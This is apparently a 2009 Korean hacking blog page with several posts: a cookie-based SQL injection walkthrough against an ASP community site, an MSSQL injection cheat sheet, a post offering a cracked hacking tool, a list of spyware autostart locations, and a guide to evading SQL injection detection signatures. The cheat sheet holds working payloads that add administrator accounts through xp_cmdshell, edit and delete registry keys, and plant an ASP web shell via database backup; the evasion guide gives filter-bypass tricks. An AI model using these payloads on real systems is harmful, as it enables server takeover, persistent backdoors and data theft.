    우리는 Cookies 중의 NC 데이터를 SQL 인젝션을 시도하여 시스템 명령이 실행가능한지를 알아보려고 한다

    Select * from HY Where NC='goo'and exists(select id from HY where len(MM)=7 and NC='admin') and '1'
     
    사용자 이름이 admin인 비밀번호 길이는 7글자 인 것을 알 수 있다. 기타 SQL 쿼리문은 위와 같이 구성한다.
    2009/08/11 14:49 2009/08/11 14:49
    중국 블로그 사이트에 있는 어떤 해커의 해킹기법 중 좀 특이한 케이스를 소개한 내용입니다. 번역이 좀 매끄럽지가 않아서 약간 재구성해 보았습니다.
     
    보통 DBMS에서 SQL injection 취약점이 존재하지만, Cookies에서도 SQL 인젝션을 구현할 수 있다. 
    http://xmcn.com/city의 개발의 1세트의 개방의 소스코드의 지역사회 절차이다; 여개의 문서는 변수가 존재하여 아직 특수 문자를 필터링하지 않기 때문이고, 사용자가 불법으로 침투하여 관리자 비밀번호를 얻는다. 문제 문서는 비교적 많기 때문이고, 여기를 특별히 1개의 간단한 user photo.asp을 골라 가져 해명으로 한다.
    user photo.asp 스크립트는 사용자 사진을 올린 것으로 사용자를 검증하여 이미 로그온된 것인지를 체크한다.

    if Request.Cookies("NC")=" " or Request.Cookies("NC")="방문객 "then
    Response.Write (" 당신은 지역사회 사용자가 아니어서 등록해 주십시오! ")
    Response.End
    end if

    Cookies를 사용할 때 NC 변수 값이 널이거나 "방문객" 사용자인지를 판단한다. 데이타베이스에 대해 이 사용자가 존재하지 않으며 에러를 리턴한다.

    set rs=server.createobject("adodb.recordset")
    set rs=conn.execute("Select * from HY Where NC='"&Request.Cookies("NC")&"'")

    Request.Cookies에게 (" NC" ) 값을 직접 SQL 쿼리로 밀어 넣는 식의 방식으로 Cookies를 통한 SQL injection을 시도할 수 있다.

    ..... 부분 코드를 생략한다
    " width="200" height="150">
     
    공격)

    C:/nc -vv 127.0.0.1 80 <1.txt >1.htm ,그 중 127.0.0.1은 Mini 도시 지역사회의 서버 IP 주소이고80은 포트, 1.htm 서버에서 리턴된 결과를 저장하고, 1.txt은 아래 공격코드임.
     
    1.txt 의 내용
    GET /mcity/main.asp HTTP/1.0
    Host: 127.0.0.1
    Cookie: NC=goo%27and%20exists(select%20id%20from%20HY%20where%20len(MM)%3D0%27and%20NC%3D%27admin%27)%20and%20%271;
     
    우리는 Cookies 중의 NC 데이터를 SQL 인젝션을 시도하여 시스템 명령이 실행가능한지를 알아보려고 한다

    Select * from HY Where NC='goo'and exists(select id from HY where len(MM)=7 and NC='admin') and '1'
     
    사용자 이름이 admin인 비밀번호 길이는 7글자 인 것을 알 수 있다. 기타 SQL 쿼리문은 위와 같이 구성한다.
    2009/08/11 14:49 2009/08/11 14:49

    1. 다음과 같은 조건식을 삽입한다.
     ;and 1=1
     ;and 1=2 
     ;and user>0

    2. 기본적으로 제공되는 기본 시스템 오브젝트에 대한 조건식을 검사해 본다.
     ;and (select count(*) from sysobjects)>0 mssql
     ;and (select count(*) from msysobjects)>0 access
     
    3. where 조건식을 넣어 본다.
     'and ''=' 
     'and  '%25'='


    4. select 구문을 사용한다.
     ;and (Select Count(*) from [테이블명])>0 --
     ;and (select top 1 len(열수) from 테이블명)>0


    5. 컬럼명 추출
    (1) Access 경우 :  and (select top 1 asc(mid(컬럼명, 1,1)) from 테이블)>0 
     
    (2) Mssql의 경우 :  and (select top 1 unicode(substring(컬럼명,1,1)) from 테이블명)>0
     
    6. 데이터베이스 권한

     ;and 1=(SELECT IS_SRVROLEMEMBER('sysadmin'));-- 
     ;and 1=(SELECT IS_SRVROLEMEMBER('serveradmin'));-- 
     ;and 1=(SELECT IS_SRVROLEMEMBER('setupadmin'));-- 
     ;and 1=(SELECT IS_SRVROLEMEMBER('securityadmin'));--
     ;and 1=(SELECT IS_SRVROLEMEMBER('diskadmin'));--
     ;and 1=(SELECT IS_SRVROLEMEMBER('bulkadmin'));-- 
     ;and 1=(SELECT IS_MEMBER('db_owner'));-- 


    7. 스토어프로시저를 이용한 계정 추가하기  
     ;exec master.dbo.sp_addlogin username;--
     ;exec master.dbo.sp_password null,username,password;--
     ;exec master.dbo.sp_addsrvrolemember sysadmin username;--
     ;exec master.dbo.xp_cmdshell 'net user username password /add';--
     ;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--
     
    8. dir 결과쿼리하기 
     ;create table dirs(paths varchar(100), id int)
     ;insert dirs exec master.dbo.xp_dirtree 'c:' 
     ;and (select top 1 paths from dirs)>0
     ;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)


    9. 디렉터리 정보 추출하기 및 웹쉘 실행  
     ;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- 
     ;insert temp exec master.dbo.xp_availablemedia;-- 
     ;insert into temp(id) exec master.dbo.xp_subdirs 'c:';-- 
     ;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:';-- 
     ;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:webindex.asp';--


    10. 확장스토어 프로시저 공격

     xp_regenumvalues 
     ;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftWindowsCurrentVersionRun'  
     
    xp_regread  
     ;exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftWindowsCurrentVersion','CommonFilesDir'  
     
    xp_regwrite  
     ;exec xp_regwrite HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','ValueName','reg_sz','hello'

     xp_regdeletevalue
     exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftWindowsCurrentVersion','TestValueName'

    xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftWindowsCurrentVersionTestkey'


    10.mssql의 backup용 webshell 생성하기
     use model
     create table cmd(str image);
     insert into cmd(str) values ('<% Dim oScript %>');
     backup database model to disk='c:l.asp';
     
    11.버전확인하기
     ;and (select @@version)>0 
     ;and user_name()='dbo'
     ;and (select user_name())>0 
     ;and (select db_name())>0 


    12.webshell
     use model 
     create table cmd(str image);
     insert int cmd(str) values ('<%=server.createobject("wscript.shell").exec("cmd.exe /c "&request("c")).stdout.readall%>');
     backup database model to disk='g:wwwtestl.asp'; 

    2009/08/11 14:47 2009/08/11 14:47
    크랙을 했는데 프로그램에 치명적인 에러로 인해 Exception Handling Error가 발생해서 작동이 안되네요. 중국 최고의 해킹 툴 류광(일명 휘황찬란한 빛) 5.0 베타버전을 크랙해서 써보나 했는데.. 역시나 크랙이 불안하게 되었습니다. oxid의 cain과 쌍벽을 이루는 최고의 해커 만능 연장임을 감히 말할 수 있습니다. 특히 Pipecmd.exe, sqlrcmd.exe의 위력은 대단한 테크닉 기교입니다.
    특히 이번 버전은 이전에 보다 기능이 월등하 뛰어나서 기존에 취약점만 찾아주는 게 하니라 아예 해킹 exploit code를 구동시켜서 자동으로 해킹까지 해줍니다.  
    사용자 삽입 이미지

    자료를 첨부 할까 말까 고민하다가.
    첨부 합니다.
    그리고 해킹 툴이라서 백신에서 바이러스로 인식합니다 . 참고 하십시오.
    2009/08/11 14:45 2009/08/11 14:45
    보통 스파이웨어는 리부팅후에도 자동으로 실행이 되도록 설정이 됩니다. 따라서 자동 실행(Auto Start)되는 환경설정 파일들만 제대로 점검하면 스파이웨어 감염 및 제거를 용이하게 할 수 있습니다.

    보통 Auto Start시키는 설정은 다음과 같습니다. 여기에서 예제 스파이웨어 파일명을 malware.exe로 가정해 보겠습니다.

    1) win.ini 파일에서 다음과 같이 설치됩니다

    [winodws]
    load = malware.exe
    run = malware.exe

    2) system.ini 파일에서 다음과 같이 추가됩니다.

    [boot]
    Shell = explorer.exe malware.exe

    3) Autoexec.bat 파일에서
    %windir%system32% 디렉터리 밑에 malware.exe

    4) Registry Shell Open

    [HKEY_CLASS_ROOT/exefile/shell/open/command]
    [HKEY_LOCAL_MACHINE/Software/Classes/exefile/shell/open/command]
    "malware.exe %1 %*" 요런식으로 값이 들어가 있습니다.

    5) Alternative Registry Keys

    [HKEY_CLASSES_ROOT.exe] @="myexefile"]
    [HKEY_LOCAL_MACHINE/Software/Classes/myexefile/shell/open/command@="malware.exe %1 %*"]
    winstart.bat

    6) Main 레지스트리에 등록되는 경우
    [HKEY_LOCAL_MACHINE/SoftwareMicrosoft/Windows/CurrentVersion/RunServices]
    [HKEY_LOCAL_MACHINE/SoftwareMicrosoft/Windows/CurrentVersion/RunServicesOnce]
    [HKEY_LOCAL_MACHINE/SoftwareMicrosoft/Windows/CurrenVersion/Run]

    6) wininit.ini 에 혹시 등록되어 있는 프로그램이 없는지 확인
    2009/08/11 14:44 2009/08/11 14:44
    새삼스럽게 최근의 나온 것은 아니지만, 활용여부에 따라 테크닉에 상당한 도움이 될 것 같아 올려봅니다. 요즘 다시 DBMS 공부해보는데 참 재밌네요.(IMPERVA 문서를 많이 참고했습니다.)

    SQL Injection Signatures Evasion
           
    1. 이 문서에 대한 요약

    URL Request에 arbitrary string(악의적인 문자열)을 삽입시키는 일반적인 형태는 다음과 같이 이루어 집니다. 웹 애플리케이션의 사용자 입력값을 받는 모든 폼, 검색창 형태들이 이에 해당됩니다. 아래의 예처럼 변수의 변수값에 직접적으로 삽입이 이루어진다.

    예) 만약에 시스템에 string 필드 값이 존재하지 않는 경우에는 새로운 파라메터에 간단히 추가할 수 있다.(이런 경우 일부 웹 애플리케이션은 이를 차단하거나 무시함)

    ....$id=43&testparam=malicious code

    SQL Injection이 탐지가 되는 경우에 SQL Comment 문자열(/* */)에 대한 signature가 존재하지 않을 때, 이럴 경우 간단히 injection시킬 수 있다.

    ....$dbid=original’ --

    또 다른 테크닉 기법으로는 SQL Injection 취약점이 탐지되고, AND 키워드에 대한 Signature가 존재하지 않을 때 패턴은 다음과 같이 된다.

    ....$dbid=original’ AND ‘100’=’100’

    대부분의 웹 사이트에서 이러한 취약점들을 가지고 있다. 이런 키워드 탐색을 통해서 SQL Injection의 가능성 여부를 알아볼 수 있다.
    두번째 단계로 SQL 구문을 통한 공격이 이루어지 질 수 있는데, 아래와 같은 SQL 구문을 통해 필터링여부를 조사하게 된다.

    - UNION SELECT
    - OR 1=1
    - exec sp_  또는 xp_  로 시작되는 스토어 프로시저(확장 스토어 프로시저)
    - declare @s out
           
    2. 일반적인 회피기법(Common Evasion Techniques)

    1) Different Encoding : 다양한 인코딩 방식을 사용한 Evasion 기법
    2) White Space 다양성(Diversity) : 일반적으로 SQL Injection 공격을 회피하기 위해 둘 이상의 스페이스 문자를 삽입시키는 경우 White Space에 의해 분리된다. 즉, 여러 개의 스페이스문자가 삽입되더라도 한번의 스페이스로 대체될 필요가 있다.

    3) IP Fragmentation 및 TCP Segmentation
    몇몇 Product에서는 TCP/IP 프레그먼트에 대한 취약점은 여전히 존재하고 있다.

    3. Advanced 회피기법(Advancesd Evasion Techniques)

    3.1 OR 1=1 Signature 기법
    가장 일반적으로 사용되는 공격, 보통 탐지 Signature는 정규표현식으로 구성되어있다. 그러나 교묘한 방법을 사용하는 다양한 형태의 공격이 가능하다.

       - OR  ‘unusual’ = ‘unusual’

    간단한 트릭을 쓰면 다음과 같이 ‘N’ 문자나 ‘+’를 삽입해 보는 경우이다. 이런 방식을 이용하면 간단히 Signature 기반의 탐지 메커니즘을 쉽게 우회할 수 있다. 광범위하고 다양한 정규표현식을 필터링을 하는 제품의 경우에는 이런 공격을 차단할 수 있다.
     
       - OR  ‘Simple’ = N’Simple’
       - OR  ‘Simple’ = ‘Sim’+’ple’
    - OR  ‘Simple’  LIKE ‘Sim%’

    또는 ‘<’, ‘>’ 를 사용하기도 한다.

      - OR  ‘Simple’ > ‘S’
      - OR  ‘Simple’ < ‘X’
      - OR 2 > 1

    IN 또는 BETWEEN 구문을 사용하는 경우도 있다.(MS SQL 구문에서 유효함)

    - OR  ‘Simple’  IN (‘Simple’)
    - OR  ‘Simple’  BETWEEN ‘R’ AND ‘T’
    (후자는 MS SQL에서만 유효하지만, 대부분의 DB에서도 간단하게 수정하는 것이 가능하 것으로 본다)  그러나 OR 키워드 형태로 Signature 했을 경우 발생가능한 오탐(false positive)의 경우도 있다.

      http://site/ordier.asp?ProdID=5&Quantity=4

    3.2 White Spaces Evading Signature
      White space(스페이스 문자)가 포함된 공격에서의 Signature에 대한 정확도가 문제가 발생할 가능
      성을 염두에 둘 필요가 있다.
      단순히 ‘UNION SELECT’ 나 ‘EXEC SP_(XP_ )’ 형태의 탐지 패턴은 높은 정확성을 보일 수 있다.
      예를 들면 MS SQL 서버에서는 SQL 키워드 또는 number나 string 사이에 스페이스 문자는 생략될
      수 있어 아주 쉽게 Evasion이 허용될 수 있다.
     
    ..origText’  OR  ‘Simple’ = ’Simple’ 이 다음처럼 될 수 있다.
    ..origText’OR’Simple’=’Simple’

    그러나 이런 공격은 UNION SELECT Statement 구문에서는 동작하지 않는다. 왜냐하면 두 키워드 사이는 반드시 분리되어야 하기 때문이다. 따라서 스페이스문자 보다는 C 언어의 Comment syntax를 이용하면 evasion이 가능할 수도 있다.(/*  … */ 이런 형태)

    select *
    from tblProducts   /* List of Prods */
    where ProdID = 5

    C-Like comment 형태의 공격은 다음과 같다. 실제로 comment 부분을 나타내는 ‘/**/’이 스페이스 문자로 대체된다.

    ....&ProdID=2  UNION  /**/  SELECT  name ....
    ....&ProdID=2/**/UNION/**/SELECT/**/name ....
    ....&origText’/**/OR/**/’Simple’=’Simple’

    http://site/login.asp?User=X&Pass=Y

    ....login.asp?User=X’OR’1’1/* &Pass=Y*/=’1

    실제 SQL 쿼리 구성은 다음과 같다
     
      Select * from Users where User=’X’OR’1’/* AND Pass=’*/=’1’

    3.3 Evading Any String Pattern
      단독 키워드의 경우에는 false positive가 발생한다. 같은 Comment 형태로 MySQL에서는 다음과
      같은 형태로 공격에 사용될 수 있다.

         ....UN/**/ION/**/SE/**/LECT/**/  ....
     
      MS SQL에서 스토어 프로시저를 실행시키는 EXEC를 아래와 같은 형태로 공격을 할 수 있다.  
      INSERT INTO를 두부분으로 분리하여 Injection 시킨다. 이럴 경우 Signature 메커니즘에서 탐지가
      안된다.
      또한 이와 유사한 공격으로 MS SQL에서는 SP_EXECUTESQL 라는 확장 스토어 프로시저를 사용
      한다. 그러나 새로운 버전에서는 SP_SQLEXEC 프로시저로 이름이 변경되었다. 이들 모두 SQL 쿼
      리를 실행시킬 수 있다. 참고로 Oracle에서는 ‘EXECUTE IMMEDIATE’가 이와 동일한 기능을 수행
      한다.

         ....; EXEC (‘INS’+’ERT INTO....’)

    한가지 주목할 점이 MS SQL에서 헥사코드로 인코딩된 스트링이 실행된다는 것이다. 이 방식대로 한다면 ‘SELECT’는 헥사코드 번호 0x73656C656374로 표현이 되고 탐지가 되지 않는다.
    또 한가지 다른 예는 MS SQL 서버에서 OPENROWSET 구문과 관련된 것이다. 가장 널리 알려지고 오랜된 이 기법이 아직도 유효하게 사용되는 곳이 많이 존재하고 있고, 대부부의 Signature 기반의 제품들에서는 탐지를 못하는 경우가 발생하고 있다. 그리고 MS SQL 서버에서 SQL 쿼리를 실행시킬 수 있는 Unlisted 스토어 프로시저가 존재하고 있다.
    sp_prepare, sp_execute 이 프로시저는 MS SQL 서버 어디에도 나타나지 않는다. 따라서 이들 프로시저를 이용한 공격은 탐지가 안될 가능성이 있다. 다른 DB에도 이와 유사하게 Undocument 프로시저가 있을 수 있다. Undocument 프로시저를 이용한 공격이 현재로서는 충분히 가능성 있어 보인다.

    4. 결론

    1) 모든 SQL 구문에 사용되는 문자열에 대한 탐지가 필요한데 이때 약간의 인공지능식 검색이 필요할 듯 싶다.(검색 조건의 AND와 OR 조건에 따른 오탐의 여부가 많은 것이 단점이다.)
    (INSERT, INTO, UNION, SELECT, DELETE, UPDATE, CREATE, FROM, WHERE, OR, AND, LIKE, SQL, ROWSET, OPEN, BEGIN, END, DECLARE)

    2) 모든 스토어 프로시저의 탐지 및 차단(실제 서비스에서는 프로시저를 써야하는 곳이 많아서 이부분은 적극적인 권장사항은 아니지만 가급적 최소화하는데 목적을 두고 싶다)
    (EXEC, SP_, XP_ )

    3) 모든 메타문자 차단
      (;  --  +  ‘  (  )  =  >  <  @  *)
    2009/08/11 14:43 2009/08/11 14:43